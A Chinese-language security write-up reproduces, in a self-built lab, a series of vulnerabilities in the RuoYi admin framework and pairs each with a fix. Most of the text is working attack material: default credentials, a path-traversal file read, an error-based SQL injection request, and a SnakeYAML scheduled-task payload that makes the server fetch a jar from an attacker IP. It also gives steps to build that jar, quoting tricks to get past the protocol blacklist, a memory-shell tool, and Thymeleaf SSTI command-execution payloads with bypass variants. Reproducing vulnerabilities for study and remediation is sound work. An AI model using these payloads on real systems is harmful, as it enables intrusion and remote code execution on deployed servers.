本文仅用于参考和学习交流,对于使用本文所提供的信息所造成的任何直接或间接的后果和损失,使用者需自行承担责任。本文的作者以及本公众号团队对此不承担任何责任。请在使用本文内容时谨慎评估风险并做出独立判断。谢谢!
由于演练中经常遇到ruoyi,所以特地搭建靶场来复现漏洞及修复 本篇内容包括靶场搭建 、漏洞利用(前台shiro漏洞、弱口令、命令执行、代码执行、SSTI、文件下载、SQL注入、文件读取漏洞及bypass)及漏洞修复方式。
https://github.com/yangzongzhuan/RuoYi/releases?page=2
打包好的jar包在ruoyi-admin\target下
再解决数据库的问题,分别是创建库和导入表(mysql我用的phpstudy)
> # 创建数据库
>
> create database ry
>
> # 导入两个.sql文件(两个.sql文件都在若依目录下的sql文件夹内)
mysql -u root -p --default-character-set=utf8 ry < RuoYi-4.5.0\RuoYi-4.5.0\sql\quartz.sqlmysql -u root -p --default-character-set=utf8 ry < RuoYi-4.5.0\RuoYi-4.5.0\sql\ry_20201017.sql
这里有个坑:如果是windows环境搭建靶机,可能会有编码的问题,
所以导入命令加上了
> `--default-character-set=utf8`
先看下组件版本
2.1、前台shiro反序列化漏洞
漏洞验证:
注意:在Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM
利用工具: https://github.com/Ares-X/shiro-exploit.git
漏洞修复:
正确的密钥生成和使用方式已经在原密钥旁边写明了,需要用此方式生成的新密钥替换默认密钥才能修复好。
2.2 后台默认口令
漏洞验证:
admin/admin123是默认密码,可以登录后台
还有一个ry/admin123也可以登录后台
修复方式:后台头像处有修改密码功能。
2.3 文件读取
漏洞验证:
在目录D:/ruoyi/创建一个1.txt文件,然后GET请求
/common/download/resource?resource=/profile/../1.txt
注意:
http://IP/common/download/resource?resource=/profile/../1.txt# 对应的目录为"D:/ruoyi/uploadPath"+"/../1.txt"uploadPath目录可以不存在
漏洞修复:
升级RuoYi版本到最新;添加文件下载验证。
2.4 SQL注入
漏洞验证:
进入后台后,拦截角色管理页面的请求包
角色编辑接口
com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由
POST /system/role/list HTTP/1.1Host: 127.0.0.1Content-Length: 179sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"Accept: application/json, text/javascript, /; q=0.01Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
漏洞修复:
升级若依到最新版本
注意类似"${"这种字符串的拼接
2.5 后台命令执行
漏洞验证:
RuoYi<4.6.2
在这个位置可以添加定时任务,ry用户也可以
> org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://攻击机ip/yaml-payload.jar"\]\]\]\]')
但是这里并不能直接执行,需要若依服务器调用外部的一个jar包,这时需要一个能被请求到的ip,并打包一个jar包
# 下载源文件https://github.com/artsploit/yaml-payload# 修改要执行的命令 # 编译java文件javac src/artsploit/AwesomeScriptEngineFactory.java 或javac src\artsploit\AwesomeScriptEngineFactory.java # 打包成jar包 jar -cvf yaml-payload.jar -C src/ . # 放在服务器,启动一个http服务,这里为了省事用的pythonpython3 -m http.server 端口号或python2 -m SimpleHTTPServer 端口号
命令执行有时候会有延迟,不要心急点太多,并且测试完了记得关掉计划任务,否则就会变成纸牌了...
bypass
版本4.6.2<=Ruoyi<4.7.2存在黑名单,禁止调用ldap,http,https,rmi等协议,可以利用符号方式绕过,也可以添加多个引号,个数奇偶都可以
> [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://127.0.0.1:88/yaml-payload.jar"]]]]')
内存马
# 下载https://github.com/lz2y/yaml-payload-for-ruoyi# 打包mvn clean package# 计划任务处改成打包后的jar包名,内存马的使用说明里有
漏洞修复:
增加调用白名单、升级到最新版若依。
2.6 SSTI
漏洞验证:
<= thymeleaf-spring5:3.0.12
登陆后访问/demo/form/localrefresh页面,点击刷新抓包,修改fragment参数的值为payload
# payload
> ${T(java.lang.Runtime).getRuntime().exec("calc")}
Bypass
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x1;/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x1__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x1__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x/ 1__${T %20( %0aRuntime %09). %0dgetRuntime %0a( %09) %0d. %00exec('calc')} __::.x
漏洞修复:
升级thymeleaf组件版本;限制相关接口的访问。
https://www.cnblogs.com/wavewindsor/p/17880329.html
https://www.cnpanda.net/sec/1063.html